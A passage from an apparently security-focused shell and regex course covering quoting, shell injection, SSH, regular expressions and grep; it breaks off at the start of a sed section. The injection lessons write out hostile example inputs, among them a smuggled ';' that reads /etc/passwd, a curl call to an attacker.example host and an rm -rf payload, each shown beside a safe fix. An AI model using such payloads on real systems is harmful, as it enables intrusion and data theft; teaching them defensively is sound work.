mkdir -p /tmp/q && cd /tmp/q
touch 'important file.txt' 'a.txt' 'b.txt'

f='important file.txt'
ls $f                   # ls: cannot access 'important': No such file
                        # ls: cannot access 'file.txt': No such file
ls "$f"                 # correct: one argument

danger='*'
echo $danger            # expands to EVERY filename in the directory
echo "$danger"          # prints a literal asterisk

# Globbing happens in the SHELL, before the command runs
ls *.txt                # shell expands to: ls a.txt b.txt
find . -name *.txt      # BUG: shell expands the glob first, find gets
                        #      an already-expanded filename
find . -name '*.txt'    # correct: find receives the literal pattern

# Glob forms
*          # any string, including empty
?          # exactly one character
[abc]      # one character from the set
[!abc]     # one character NOT in the set
{a,b}.txt  # brace expansion: a.txt b.txt (not a glob; no file needed)
**/        # recursive, with: shopt -s globstar

# Command substitution
today="$(date +%F)"                   # preferred form, nests cleanly
count="$(grep -c ERROR app.log)"

# Nesting is painful with backticks, trivial with $()
outer="$(dirname "$(readlink -f "$0")")"

# ALWAYS quote the result: command output frequently contains spaces
dir="$(dirname "$path")"
cd "$dir" || exit 1                   # quoted, and failure handled

Context	Variable expansion	Command substitution	Globbing	Word splitting
'single'	No	No	No	No
"double"	Yes	Yes	No	No
unquoted	Yes	Yes	Yes	Yes

Key Takeaways

• The shell rewrites the command line in a defined order before execution; bugs come from not knowing that order.
• Single quotes are literal, double quotes expand without splitting, unquoted expands and splits.
• Quote every variable expansion unless you specifically want splitting or globbing.
• Globbing is performed by the shell, so patterns intended for a program must be quoted.
• Prefer $(...) to backticks, and quote the result because command output often contains whitespace.
• shellcheck catches the overwhelming majority of quoting errors automatically; run it on every script.

🧪 Practice

1. Create files with spaces in their names and demonstrate three commands that break without quoting, then fix each.
2. Explain why find . -name *.log fails in a directory containing a single .log file but appears to work in an empty one.
3. Run shellcheck on a script you have written and fix every warning it reports.
4. Interview-style: "What is the difference between $@ and $*, quoted and unquoted?" Hint: one preserves the original argument boundaries and the other joins everything into a single string; work through what each produces for an argument containing a space.

Shell Injection Risks in Scripts

Theory

Shell injection happens whenever attacker-influenced data is concatenated into a string that a shell then parses. The root cause is identical to SQL injection: data is being interpreted as code because the boundary between them was never enforced.

The shell is a particularly dangerous interpreter because it has so many metacharacters that change meaning: ; separates commands, | pipes, & backgrounds, $(...) and backticks substitute command output, > redirects, && and || chain, and newline acts as a separator. Any one of these in untrusted input can change a command's meaning entirely.

The reliable defence is architectural, not filtering: do not invoke a shell at all. Execute programs directly with an argument array, so that the operating system passes each argument as a discrete string and no parsing step exists for metacharacters to influence. In Python this means subprocess.run([...]) without shell=True; in shell scripts it means passing data as quoted arguments rather than building command strings.

When you genuinely must build a command, validate against a strict allowlist (not a blocklist of bad characters), and use the -- convention to stop option parsing so that a value beginning with - cannot become a flag. That last case is an underappreciated injection variant: a filename like --checkpoint-action=exec=sh is not a shell metacharacter problem at all, it is an argument injection problem.

Examples

# VULNERABLE: user input concatenated into a command string
read -r host
ping -c1 "$host"        # quoted, so metacharacters are safe here...

# ...but this is not: eval re-parses the whole string as shell code
eval "ping -c1 $host"
# input: 8.8.8.8; id            -> runs id
# input: 8.8.8.8 && cat /etc/passwd

# VULNERABLE pattern seen constantly in CGI, CI jobs, and admin scripts
backup_dir="$1"
sh -c "tar czf /backup/out.tgz $backup_dir"    # re-parsed by a new shell
# input: /data; curl http://attacker.example/$(whoami)

# SAFE: no shell is involved, data stays data
tar czf /backup/out.tgz -- "$backup_dir"
#                        ^^ end of options: a value starting with '-'
#                           is treated as a path, not a flag

# SAFE: strict allowlist validation before use
if [[ ! "$host" =~ ^[a-zA-Z0-9.-]{1,253}$ ]]; then
    echo "invalid hostname" >&2
    exit 1
fi
ping -c1 -- "$host"

# The same rule in Python, where this bug is most common
import subprocess

# VULNERABLE: shell=True parses the string, metacharacters are live
subprocess.run(f"ping -c1 {host}", shell=True)
# host = "8.8.8.8; rm -rf /tmp/data"  -> two commands run

# SAFE: argument list, no shell, no parsing step at all
subprocess.run(["ping", "-c1", "--", host], check=True, timeout=5)
#   Each element becomes one argv entry. ';' is just a character in a string.

  Why the argument-array form is structurally safe

  shell=True:   "ping -c1 8.8.8.8; id"
                        │
                        ▼  shell PARSES the string
                 ┌──────────────┬──────────┐
                 │ ping -c1 ... │    id    │   two commands
                 └──────────────┴──────────┘

  argument list: ["ping", "-c1", "--", "8.8.8.8; id"]
                        │
                        ▼  execve() -- NO parsing step exists
                 ┌────────────────────────────────┐
                 │ ping receives one odd hostname │   one command
                 └────────────────────────────────┘

Key Takeaways

• Shell injection is data being interpreted as code, structurally identical to SQL injection.
• The fix is to avoid the shell entirely and pass arguments as an array, not to filter metacharacters.
• eval and shell=True are the two constructs that most often introduce this vulnerability.
• Use -- to terminate option parsing so attacker-controlled values cannot become command flags.
• Validate with strict allowlists; blocklists of dangerous characters are routinely bypassed through encoding and alternative syntax.
• Quoting a variable protects against word splitting but does not protect against eval or a nested shell re-parsing the string.

🧪 Practice

1. Write a deliberately vulnerable script that pings a user-supplied host via eval, demonstrate command execution against it locally, then rewrite it safely.
2. Explain why subprocess.run(["sh", "-c", user_input]) is still vulnerable despite using a list.
3. Find an argument injection case: a program where a filename beginning with - changes behaviour, and show how -- prevents it.
4. Interview-style: "A developer says their command is safe because they strip semicolons. Is it?" Hint: enumerate the other metacharacters that chain or substitute commands, and consider newlines and command substitution syntax.

SSH, scp, and Remote Shell Workflows

Theory

SSH provides an authenticated, encrypted channel to a remote system, and it is the backbone of nearly all remote administration and much of offensive and defensive tooling. Understanding it beyond "it gives me a prompt" unlocks a lot of capability.

Authentication should use key pairs rather than passwords. You hold a private key; the server holds your public key in ~/.ssh/authorized_keys. The server proves you hold the private key through a challenge, so no secret crosses the network and password guessing becomes irrelevant. Private keys must be protected by a passphrase, with ssh-agent holding the decrypted key in memory so you type it once.

Host key verification is the part people reflexively bypass and should not. On first connection, SSH shows the server's host key fingerprint and records it in known_hosts. A later mismatch means either the server was rebuilt or you are being intercepted. Disabling this check (StrictHostKeyChecking=no) removes SSH's defence against machine-in-the-middle attacks entirely.

The features that matter most operationally are port forwarding and the config file. Local forwarding (-L) exposes a remote service on your local machine; remote forwarding (-R) exposes a local service on the remote host; dynamic forwarding (-D) creates a SOCKS proxy for tunnelling arbitrary traffic. These are indispensable for reaching segmented networks during authorized testing and equally useful to attackers, which is why egress SSH is monitored.

~/.ssh/config eliminates repetitive flags and enables ProxyJump for transparently reaching hosts through a bastion.

Examples

# Key generation and distribution
ssh-keygen -t ed25519 -C 'engagement-2026-10' -f ~/.ssh/id_eng
#          └ modern, fast, short keys; prefer over RSA for new keys
ssh-copy-id -i ~/.ssh/id_eng.pub user@host     # appends to authorized_keys

# Agent: decrypt the key once per session
eval "$(ssh-agent -s)"
ssh-add -t 8h ~/.ssh/id_eng        # -t expires the key from the agent

# Verify a host key fingerprint out of band before first connect
ssh-keygen -lf /etc/ssh/ssh_host_ed25519_key.pub   # run ON the server

# ~/.ssh/config -- removes repetition and enables bastion hopping
Host bastion
    HostName bastion.example.com
    User alice
    IdentityFile ~/.ssh/id_eng
    IdentitiesOnly yes          # do not offer every key to every server

Host web*
    HostName %h.internal.example.com
    User deploy
    ProxyJump bastion           # transparently tunnel through the bastion
    ServerAliveInterval 30      # keep long sessions alive

Host *
    HashKnownHosts yes          # do not leak your host inventory in plaintext
    StrictHostKeyChecking ask

# Port forwarding
ssh -L 8080:internal-db:5432 bastion    # local 8080 -> internal-db:5432
#      └ reach a segmented service as if it were local

ssh -R 9000:localhost:80 remote-host    # expose MY local 80 on remote:9000
ssh -D 1080 bastion                     # SOCKS proxy for arbitrary tools
curl --socks5-hostname localhost:1080 http://internal-app/

# File transfer
scp file.txt user@host:/tmp/            # simple, legacy
rsync -az --partial src/ user@host:dst/ # resumable, efficient, preferred
sftp user@host                          # interactive

# Running commands remotely, safely
ssh host 'uname -a; uptime'             # quoted: parsed on the REMOTE side
ssh host "echo $LOCAL_VAR"              # expanded LOCALLY before sending

# Fan out across hosts, keeping output attributable
while read -r h; do
    printf '=== %s ===\n' "$h"
    ssh -o ConnectTimeout=5 -n "$h" 'ss -tlnp' || echo "FAILED: $h" >&2
done < hosts.txt
#      └ -n prevents ssh from consuming stdin, which would eat the host list

Key Takeaways

• Use key-based authentication; no secret crosses the network and password guessing becomes irrelevant.
• Protect private keys with a passphrase and use ssh-agent with an expiry rather than unprotected keys.
• Host key verification defends against machine-in-the-middle; disabling it removes that protection entirely.
• ~/.ssh/config with ProxyJump replaces fragile multi-hop command lines.
• Port forwarding (-L, -R, -D) reaches segmented networks and is equally a pivoting and exfiltration technique, so it is commonly monitored.
• In loops, pass -n to SSH so it does not consume the loop's input stream.

🧪 Practice

1. Generate an Ed25519 key pair, deploy it, and disable password authentication on a test server.
2. Write an ~/.ssh/config entry that reaches an internal host through a bastion with a single ssh command.
3. Set up a local port forward to reach a service that is not directly routable from your machine, and verify it works.
4. Interview-style: "Why is StrictHostKeyChecking=no in an automation script a security problem, and what should be used instead?" Hint: consider what protection the known-hosts check provides and how you could distribute the expected host keys in advance instead of accepting any key.

<a id="22-stream-editing-and-regular-expressions"></a>

2.2 Stream Editing and Regular Expressions

Regular expressions are the pattern-matching language that grep, sed, awk, SIEM rules, WAF signatures, and IDS content matches are all built on. This section teaches the syntax precisely, then the three tools that apply it, then the two ways regex itself becomes a vulnerability.

Regular Expression Syntax and Metacharacters

Theory

A regular expression describes a set of strings. Rather than asking "is this text equal to that text", you describe a shape and ask what matches it. This is indispensable in security work because the things you search for have variable parts: an IP address is four numbers with dots, a log line has a timestamp that is never the same twice.

The mental model that prevents most confusion: a regex engine walks through the input, attempting to match the pattern starting at each position, and reports the first position where the whole pattern succeeds. It is a matching machine, not a search for a literal.

Characters in a pattern are either literals (matching themselves) or metacharacters (having special meaning). The core metacharacters are . ^ $ * + ? [ ] ( ) { } | \. Everything hard about regex follows from one fact: to match a metacharacter literally you must escape it with a backslash, and the set of characters that count as metacharacters differs between regex flavours, which is why a pattern that works in grep -E fails in grep and behaves differently again in Python.

The single most common real-world bug is an unescaped dot. . matches any character, so 10.0.0.1 matches 10X0Y0Z1. In a security filter, that is the difference between a correct rule and a bypassable one.

Examples

  Metacharacter   Meaning                        Example      Matches
  ─────────────────────────────────────────────────────────────────────────
  .               any single character (not \n)  a.c          abc, axc, a1c
  ^               start of line/string           ^GET         line begins GET
  $               end of line/string             \.log$       ends with .log
  *               0 or more of the previous       ab*c         ac, abc, abbc
  +               1 or more of the previous       ab+c         abc, abbc (not ac)
  ?               0 or 1 of the previous          colou?r      color, colour
  []              character class (one of)        [aeiou]      any vowel
  ()              group / capture                (ab)+        ab, abab
  {}              repetition count                a{2,4}       aa, aaa, aaaa
  |               alternation (or)                cat|dog      cat or dog
  \               escape next character           \.           a literal dot
  ─────────────────────────────────────────────────────────────────────────

import re

# The unescaped-dot bug, which matters in any security filter
loose = re.compile(r"10.0.0.1")        # '.' matches ANY character
print(bool(loose.search("10X0Y0Z1")))  # True  <- false positive

strict = re.compile(r"10\.0\.0\.1")    # escaped: literal dots only
print(bool(strict.search("10X0Y0Z1"))) # False <- correct

# Always use raw strings (r"...") for patterns. Without them, Python's own
# string escaping consumes the backslashes before regex ever sees them.
print(re.search("\d", "a1"))           # works by accident, deprecated
print(re.search(r"\d", "a1"))          # correct and explicit

# Escaping untrusted input before using it as a pattern.
# Without this, a user-supplied "." or "(" either over-matches or crashes.
user_term = "10.0.0.1 (prod)"
pattern = re.compile(re.escape(user_term))   # all metacharacters neutralized
print(pattern.pattern)                       # 10\.0\.0\.1\ \(prod\)

Key Takeaways

• A regex describes a set of strings; the engine tries to match at each position in the input.
• Metacharacters must be escaped to match literally, and an unescaped . is the most common cause of over-matching.
• Use raw strings in Python so backslashes reach the regex engine intact.
• The metacharacter set differs between flavours, so patterns are not portable without checking.
• re.escape() is mandatory when building a pattern from untrusted or user-supplied text.

🧪 Practice

1. Write a pattern matching a literal IPv4 address with correctly escaped dots, and prove it rejects 10X0Y0Z1.
2. Explain why r"a+b*" matches the string a, and what it would need to be to require at least one b.
3. Use re.escape() to build a safe search pattern from the string price: $5.00 (sale).
4. Interview-style: "A WAF rule blocks select.*from. Why might that both over-block and under-block?" Hint: consider what . and * permit across a long input, and separately what simple transformations of the attack string would avoid matching at all.

Character Classes, Anchors, and Quantifiers

Theory

These three features do most of the practical work in real patterns.

Character classes [...] match exactly one character from a set. Inside brackets, most metacharacters lose their special meaning, which simplifies things: [.+*] matches a literal dot, plus, or asterisk. Three positions are special: ^ as the first character negates the class ([^0-9] is any non-digit), - between characters denotes a range ([a-z]) but is literal at the start or end, and ] must come first or be escaped. Shorthand classes exist: \d digits, \w word characters, \s whitespace, and their negations \D, \W, \S. POSIX classes such as [[:alpha:]] and [[:digit:]] are the portable equivalents and are locale-aware.

Anchors match positions, not characters, which is why they are zero-width. ^ is start, $ is end, \b is a word boundary. Anchoring is the difference between validation and search: [0-9]{1,3} finds digits somewhere in a string, while ^[0-9]{1,3}$ requires the entire string to be those digits. Forgetting anchors in a validation function is a security bug, because admin@evil.com?x=@trusted.com can satisfy an unanchored "contains a trusted domain" check.

Quantifiers control repetition: * (0+), + (1+), ? (0 or 1), {n} exactly n, {n,} at least n, {n,m} between n and m. Bounded quantifiers are preferable in security-critical patterns because unbounded repetition is what enables the catastrophic backtracking covered later.

Examples

  Anchors are ZERO-WIDTH: they match positions between characters

    "error at line 42"
    ^                 $
    │                 └── end of string
    └── start of string

    \b marks a boundary between \w and non-\w:
      "cat catalog"
       ^  ^
       │  └── \bcat matches here too (start of "catalog")
       └───── \bcat\b matches ONLY the standalone word

import re

text = "cat catalog concat"
print(re.findall(r"cat", text))        # ['cat', 'cat', 'cat'] -- substrings
print(re.findall(r"\bcat\b", text))    # ['cat'] -- the standalone word only

# Anchoring is the difference between search and validation
import re

ALLOWED_DOMAIN = "trusted.com"

# BROKEN: unanchored search accepts anything CONTAINING the domain
def is_trusted_bad(email: str) -> bool:
    return re.search(ALLOWED_DOMAIN, email) is not None

print(is_trusted_bad("attacker@evil.com/trusted.com"))   # True  <- bypass
print(is_trusted_bad("trusted.com.evil.net"))            # True  <- bypass

# CORRECT: anchored, escaped, and structurally specific
TRUSTED = re.compile(r"\A[A-Za-z0-9._%+-]+@trusted\.com\Z")

def is_trusted(email: str) -> bool:
    return TRUSTED.fullmatch(email) is not None   # fullmatch is explicit

print(is_trusted("attacker@evil.com/trusted.com"))       # False
print(is_trusted("user@trusted.com"))                    # True

Shorthand	Equivalent class	POSIX form
\d	[0-9]	[[:digit:]]
\w	[A-Za-z0-9_]	[[:alnum:]_]
\s	[ \t\n\r\f\v]	[[:space:]]
\D	[^0-9]	[^[:digit:]]

# A quantifier subtlety that causes real validation failures:
# $ in Python also matches just BEFORE a trailing newline.
import re
print(bool(re.match(r"^[0-9]+$", "123\n")))      # True   <- surprising
print(bool(re.match(r"\A[0-9]+\Z", "123\n")))    # False  <- strict
# Use \A and \Z for validation; an injected trailing newline has been a
# real bypass in header and token checks.

Key Takeaways

• Inside [...], most metacharacters are literal; only ^ (leading), - (ranges), and ] are special.
• Anchors match positions and are zero-width; ^...$ converts a search into whole-string validation.
• Unanchored patterns in validation functions are a recurring source of bypasses.
• Prefer \A and \Z over ^ and $ for validation, because $ also matches before a trailing newline.
• Use bounded quantifiers {n,m} in security patterns to limit worst-case matching work.
• \b word boundaries prevent matching inside longer words, which eliminates a large class of false positives.

🧪 Practice

1. Write an anchored pattern validating a UK-style postcode or your local equivalent, and test it against three invalid inputs.
2. Demonstrate the trailing-newline bypass against a ^...$ validator, then fix it with \A...\Z.
3. Write a pattern that matches the word root but not chroot or rootkit.
4. Interview-style: "A login filter checks re.search(r'admin', username) to block admin accounts. Give two ways this fails." Hint: consider both over-blocking legitimate names containing the substring, and whether an attacker needs that literal substring at all.

Groups, Backreferences, and Alternation

Theory

Grouping with () does two separate jobs that are easy to conflate: it makes a sub-pattern a single unit for quantifiers and alternation, and it captures the matched text for later retrieval. Capturing is how you get data out of a regex, which is the core of log parsing.

Captured groups are numbered left to right by opening parenthesis, starting at 1 (group 0 is the whole match). Nested groups are numbered by the position of their opening paren, which is why complex patterns become unreadable. Named groups (?P<name>...) in Python solve this and should be the default for anything you will maintain; a parser referring to m["src_ip"] survives pattern edits that would break m[3].

Non-capturing groups (?:...) group without capturing. Use them whenever you need grouping only for structure, because unnecessary captures cost memory and renumber everything downstream.

Backreferences \1 (in the pattern) match the same text the referenced group matched. This is genuinely beyond regular-language power and is what makes finding repetition possible: \b(\w+)\s+\1\b finds doubled words. In security work it detects repeated values, such as identical password and username fields.

Alternation | has the lowest precedence of all regex operators, which is the most common source of surprise. ^cat|dog$ means "starts with cat" OR "ends with dog", not "starts and ends". Grouping fixes it: ^(cat|dog)$.

Examples

import re

LOG = '192.0.2.44 - alice [01/Oct/2026:14:22:05 +0000] "GET /admin HTTP/1.1" 403 512'

# Named groups: self-documenting and resilient to pattern edits
PATTERN = re.compile(
    r'\A(?P<ip>\d{1,3}(?:\.\d{1,3}){3})'      # (?:...) groups without capturing
    r' - (?P<user>\S+)'
    r' \[(?P<ts>[^\]]+)\]'                     # [^\]]+ = anything but ']'
    r' "(?P<method>[A-Z]+) (?P<path>\S+) [^"]*"'
    r' (?P<status>\d{3}) (?P<bytes>\d+)\Z'
)

m = PATTERN.match(LOG)
print(m["ip"], m["status"], m["path"])      # 192.0.2.44 403 /admin
print(m.groupdict())                        # full dict, ready for JSON/SIEM

# Alternation precedence: the classic trap
import re
print(bool(re.match(r"^cat|dog$", "dogfish")))     # True  <- not intended
#   reads as (^cat) | (dog$)   ... "dogfish" has neither, but:
print(re.findall(r"^cat|dog$", "catfish"))         # ['cat'] -- matched ^cat
print(bool(re.fullmatch(r"^(cat|dog)$", "dogfish")))  # False <- correct

# Backreferences: match repeated content
import re
print(re.findall(r"\b(\w+)\s+\1\b", "the the quick brown fox fox"))
# ['the', 'fox'] -- \1 requires the SAME text the group captured

# Security use: detect a config where two fields were set identically
line = 'username=svc_backup password=svc_backup'
if re.search(r"username=(\S+)\s+password=\1\b", line):
    print("password equals username")

Construct	Captures?	Purpose
(...)	Yes	Group and capture
(?:...)	No	Group only, no capture overhead
(?P<name>...)	Yes, by name	Readable, maintainable extraction
(?=...)	No	Lookahead: assert what follows
(?!...)	No	Negative lookahead: assert what does not follow
\1, \k<name>	—	Backreference to previously captured text

Key Takeaways

• Groups both structure the pattern and capture text; use (?:...) when you need structure only.
• Named groups make parsers readable and survive pattern changes that would break numeric indices.
• | has the lowest precedence, so alternations almost always need explicit grouping.
• Backreferences match the same text a group captured, enabling repetition detection.
• groupdict() turns a parsed log line directly into a dictionary ready for structured output.
• Lookarounds assert conditions without consuming input, which is useful for context-sensitive matching.

🧪 Practice

1. Write a named-group pattern that extracts the timestamp, severity, and message from a syslog line.
2. Demonstrate the alternation precedence trap with your own example, then fix it with grouping.
3. Use a backreference to find duplicated adjacent fields in a CSV row.
4. Interview-style: "You need to parse ten million log lines per hour in Python. What regex practices matter for performance?" Hint: think about compiling once outside the loop, avoiding unnecessary captures, anchoring to fail fast, and whether a plain string operation could reject most lines before regex runs at all.

Greedy vs. Lazy Matching

Theory

Quantifiers are greedy by default: they consume as much input as possible, then give characters back one at a time until the rest of the pattern can match. This backtracking behaviour is the source of both surprising results and serious performance problems.

The canonical demonstration is extracting an HTML tag. Against <a><b>, the pattern <.*> matches the entire string <a><b>, not just <a>, because .* first swallows everything and then backtracks only enough for the final > to match. Adding ? makes the quantifier lazy: <.*?> consumes as little as possible and yields <a>.

A third mode, possessive quantifiers (.*+) and atomic groups (?>...), consume greedily and refuse to backtrack at all. Python's standard re module lacks these; the third-party regex module and most other flavours support them. They exist specifically to prevent catastrophic backtracking.

The security-relevant insight is that greediness is usually not the right default for extraction between delimiters. A greedy pattern applied to a log line with multiple quoted fields will span across them and silently produce wrong data, which matters when that data feeds a detection rule. Better still than lazy quantifiers is a negated character class: instead of "(.*?)", write "([^"]*)", which cannot cross the delimiter at all and does not backtrack.

Examples

import re

html = "<a><b>"
print(re.match(r"<.*>",  html).group())   # <a><b>   greedy: takes everything
print(re.match(r"<.*?>", html).group())   # <a>      lazy: minimum needed
print(re.match(r"<[^>]*>", html).group()) # <a>      best: cannot cross '>'

  How greedy matching actually works on <.*> against "<a><b>"

  step 1  <  matched literal '<'
  step 2  .* consumes everything:        a><b>
  step 3  >  needs a character: none left -> BACKTRACK
  step 4  .* gives one back:             a><
  step 5  >  matches the final '>'       -> SUCCESS, match = <a><b>

  Lazy <.*?> instead:
  step 1  <  matched
  step 2  .*? consumes nothing
  step 3  >  sees 'a', fails -> .*? takes ONE char ('a')
  step 4  >  matches         -> SUCCESS, match = <a>

  Negated class <[^>]*> never has to backtrack at all: the class
  physically cannot consume the '>' that terminates the match.

# Why this matters for parsing real log data
import re
line = 'src="10.0.0.5" dst="10.0.0.9" action="deny"'

greedy = re.search(r'src="(.*)"', line).group(1)
print(greedy)   # 10.0.0.5" dst="10.0.0.9" action="deny
                # spans the whole line: wrong data fed into your detection

lazy = re.search(r'src="(.*?)"', line).group(1)
print(lazy)     # 10.0.0.5   correct

best = re.search(r'src="([^"]*)"', line).group(1)
print(best)     # 10.0.0.5   correct AND cannot backtrack

Mode	Syntax	Behaviour	Backtracks?
Greedy	.*	Longest possible match	Yes
Lazy	.*?	Shortest possible match	Yes
Possessive	.*+	Longest, never gives back	No
Negated class	[^x]*	Bounded by construction	Minimal

Key Takeaways

• Quantifiers are greedy by default and backtrack to make the overall pattern succeed.
• Adding ? makes a quantifier lazy, taking the minimum rather than the maximum.
• For extraction between delimiters, a negated character class [^"]* is better than either greedy or lazy .
• Greedy patterns silently span multiple fields, producing wrong extracted data rather than an error.
• Possessive quantifiers and atomic groups prevent backtracking entirely but are unavailable in Python's standard re.
• Reducing backtracking is both a correctness and a denial-of-service concern.

🧪 Practice

1. Write three patterns extracting the first quoted string from a="1" b="2", using greedy, lazy, and negated-class approaches, and compare results.
2. Explain why [^>]* cannot backtrack across a > character.
3. Find a greedy pattern in existing code or a detection rule and determine whether it can span beyond its intended field.
4. Interview-style: "When would a lazy quantifier still be the wrong choice?" Hint: consider nested or escaped delimiters, where neither lazy nor greedy matching handles the structure, and what kind of parser the problem actually calls for.

POSIX Basic vs. Extended Regex

Theory

A pattern that works in one tool failing in another is almost always a flavour mismatch, and the main divide is POSIX Basic (BRE) versus Extended (ERE) regular expressions.

In BRE, the characters +, ?, {, }, (, ), and | are literals, and you must backslash them to get their special meaning. So a\+ means one-or-more a, and a+ means a literal a+. This inversion is the single most confusing thing about classic Unix tools.

In ERE, those characters are metacharacters directly, and a backslash makes them literal. This matches modern expectations and is what grep -E, egrep, and awk use.

The defaults are: grep and sed use BRE; grep -E and awk use ERE. grep -P and sed -E (or sed -r) opt into alternatives. PCRE (Perl-Compatible Regular Expressions, via grep -P) adds lookarounds, lazy quantifiers, \d/\w shorthands, and non-greedy matching, which BRE and ERE lack.

The practical advice is simple: use grep -E or grep -P rather than fighting BRE escaping, and remember that \d and \w do not work in BRE or ERE, which surprises people coming from Python or JavaScript.

Examples

# The same pattern across flavours: one or more digits
grep    '[0-9]\+' file      # BRE: + must be escaped to mean "one or more"
grep -E '[0-9]+'  file      # ERE: + is a metacharacter directly
grep -P '\d+'     file      # PCRE: shorthand classes available

# Alternation
grep    'cat\|dog' file     # BRE: escape the pipe
grep -E 'cat|dog'  file     # ERE
grep -P 'cat|dog'  file     # PCRE

# Grouping with a quantifier
grep    '\(ab\)\+' file     # BRE: escape both parens and the plus
grep -E '(ab)+'    file     # ERE

# PCRE-only features that justify grep -P
grep -P '(?<=user=)\w+' auth.log       # lookbehind: capture after a prefix
grep -P 'GET.*?HTTP'    access.log     # lazy quantifier
grep -P '^(?!.*healthcheck).*ERROR'    # negative lookahead: exclude noise
grep -oP 'ip=\K[\d.]+'  firewall.log   # \K drops everything matched so far

Feature	BRE (grep, sed)	ERE (grep -E, awk)	PCRE (grep -P)
+ ?	Escaped: \+ \?	Direct	Direct
() grouping	Escaped: \(\)	Direct	Direct
{n,m}	Escaped: \{n,m\}	Direct	Direct
`	` alternation	Escaped: |	Direct
\d \w \s	Not available	Not available	Available
Lazy *?	Not available	Not available	Available
Lookarounds	Not available	Not available	Available
Backreferences	\1	\1	\1, named

  Choosing a flavour

  Need lookarounds, lazy quantifiers, or \d shorthand?   -> grep -P
  Need portable, readable patterns?                      -> grep -E
  Writing for strict POSIX / minimal busybox systems?    -> BRE, carefully
  Inside awk?                                            -> ERE, always

  Note: grep -P is not available in every build (notably some BSD/macOS
  and busybox systems), which matters for portable incident-response scripts.

Key Takeaways

• BRE treats + ? { } ( ) | as literals requiring escapes; ERE treats them as metacharacters.
• grep and sed default to BRE; grep -E and awk use ERE; grep -P enables PCRE.
• \d, \w, and \s are PCRE features and silently fail to mean what you expect in BRE and ERE.
• Lookarounds and lazy quantifiers require PCRE, which is why grep -P is worth knowing.
• grep -P is unavailable on some systems, so portable scripts should stick to ERE.
• When a pattern inexplicably fails, suspect the flavour before suspecting the pattern.

🧪 Practice

1. Write the same "one or more digits followed by a dot" pattern in BRE, ERE, and PCRE forms.
2. Use grep -oP with \K to extract just the value following user= in an auth log.
3. Explain why grep '\d' finds nothing useful and what it actually matches.
4. Interview-style: "You are writing an incident-response script that must run on an unknown Linux host. Which regex flavour do you use and why?" Hint: weigh expressive power against the chance that the PCRE-enabled build is simply not installed on a minimal or appliance system.

grep and egrep for Log and Code Search

Theory

grep prints lines matching a pattern. Its apparent simplicity hides the fact that it is the single most-used tool in security work, and knowing roughly a dozen of its flags transforms what you can do with it.

The flags that matter most fall into groups. What to match: -i case-insensitive, -w whole words, -F fixed strings (no regex, and much faster), -v invert (lines not matching), -E/-P flavour selection. What to print: -o only the matching part, -c count, -l filenames only, -h/-H suppress or force filenames. Context: -A n lines after, -B n before, -C n both, which is essential for log triage because the interesting line is rarely interesting alone. Where to search: -r recursive, --include/--exclude glob filters.

Two performance notes matter on large data. -F skips regex compilation and matching entirely, so searching for a literal IP across gigabytes is dramatically faster. And LC_ALL=C grep disables locale-aware (UTF-8) processing, which can speed up large scans by an order of magnitude when you only need byte matching.

For code search specifically, -rn --include='*.py' with -w finds call sites precisely. Dedicated tools (ripgrep, ag) are faster and respect ignore files, but grep is the one guaranteed to exist on any host you land on.

Examples

# Core triage patterns
grep -c 'Failed password' /var/log/auth.log        # how many?
grep -i 'error\|fail\|denied' app.log             # case-insensitive, any of
grep -w 'root' /etc/passwd                        # whole word: not "chroot"
grep -F '10.0.0.5' huge.log                       # literal, fastest
grep -v 'healthcheck' access.log | grep ' 500 '   # exclude noise, then filter

# Context is what makes a hit interpretable
grep -B2 -A5 'segfault' /var/log/syslog           # what led up to and followed
grep -C3 'Accepted publickey' auth.log            # surrounding session lines

# Extraction with -o: build a frequency table of just the matched part
grep -oE '\b([0-9]{1,3}\.){3}[0-9]{1,3}\b' access.log \
  | sort | uniq -c | sort -rn | head
#   -o prints each match on its own line, which is what makes the
#   counting idiom work on sub-parts of a line.

# -oP with \K: print only what follows a prefix
grep -oP 'user=\K\S+' auth.log | sort -u          # unique usernames seen

# Code search for dangerous patterns (the start of a secure code review)
grep -rn --include='*.py' -E '\b(eval|exec)\s*\(' .
grep -rn --include='*.py' 'shell=True' .
grep -rn --include='*.js' -E 'innerHTML\s*=' .
grep -rn --include='*.php' -E '\$_(GET|POST|REQUEST)\[' .

# Find hardcoded secrets (first pass; dedicated scanners are better)
grep -rnE '(password|passwd|secret|api_key|token)\s*[:=]\s*["'\''][^"'\'']{8,}' \
     --include='*.{py,js,yml,yaml,env,json}' .

# Performance on large files
time grep    'needle' 10GB.log      # regex engine, locale-aware
time LC_ALL=C grep -F 'needle' 10GB.log   # byte-literal: often 5-10x faster

# Searching compressed logs without decompressing to disk
zgrep 'Failed password' /var/log/auth.log.*.gz
zcat  /var/log/auth.log.*.gz | grep -c 'Failed password'

Key Takeaways

• -A, -B, and -C provide context, without which a matching log line is often uninterpretable.
• -o prints only the matched portion, which enables frequency counting of sub-fields.
• -F disables regex for literal searches and is substantially faster on large inputs.
• LC_ALL=C speeds up large scans by skipping locale-aware processing.
• -v for exclusion is the standard way to strip known-good noise before analysis.
• zgrep and zcat search rotated compressed logs without expanding them to disk.
• grep -w avoids a large class of false positives from substring matches.

🧪 Practice

1. Extract the top ten source IPs from an auth log using grep -o and the counting idiom.
2. Find every occurrence of eval in a codebase, excluding test files and vendored dependencies.
3. Compare timing of grep versus LC_ALL=C grep -F for a literal string on a large file.
4. Interview-style: "You need every log line mentioning a given IP, plus the three lines around each, across 40 rotated and compressed logs. What is your command?" Hint: combine the context flags with the compressed-file variant of grep, and consider whether filenames should be printed to keep results attributable.

sed: Substitution, Addressing, and In-Place Editing

Theory

sed is a stream editor: it reads input line by line, applies a script of editing commands, and writes the result. It is not interactive, which is exactly why it is useful in automation — you can transform a thousand configuration files identically.

The mental model is a loop. For each line, sed places it in the pattern space, runs your commands against it, prints the pattern space (unless suppressed with -n), and moves on. Nearly everything confusing about sed makes sense once you think in terms of that per-line cycle.

The command you will use most is substitution: s/pattern/replacement/flags. The g flag replaces all occurrences on the line rather than just the first; i is case-insensitive; a number replaces only the nth occurrence. In the replacement, & inserts the entire match and \1 inserts a captured group, which is how you reorder or reformat fields.

Addressing restricts commands to specific lines: 3s/.../.../ acts on line 3 only, /pattern/s/.../.../ acts only on lines matching a pattern, 1,10 is a range, $ is the last line, and /start/,/end/ is a range delimited by patterns. Prefixing with ! negates the address.

In-place editing with -i is the feature that makes sed operationally powerful and operationally dangerous. GNU and BSD differ: GNU accepts -i alone, BSD requires an argument (-i ''). Always use -i.bak to keep a backup, and always test without -i first. On a production configuration file, an untested sed -i is how outages happen.

Examples

# Substitution basics
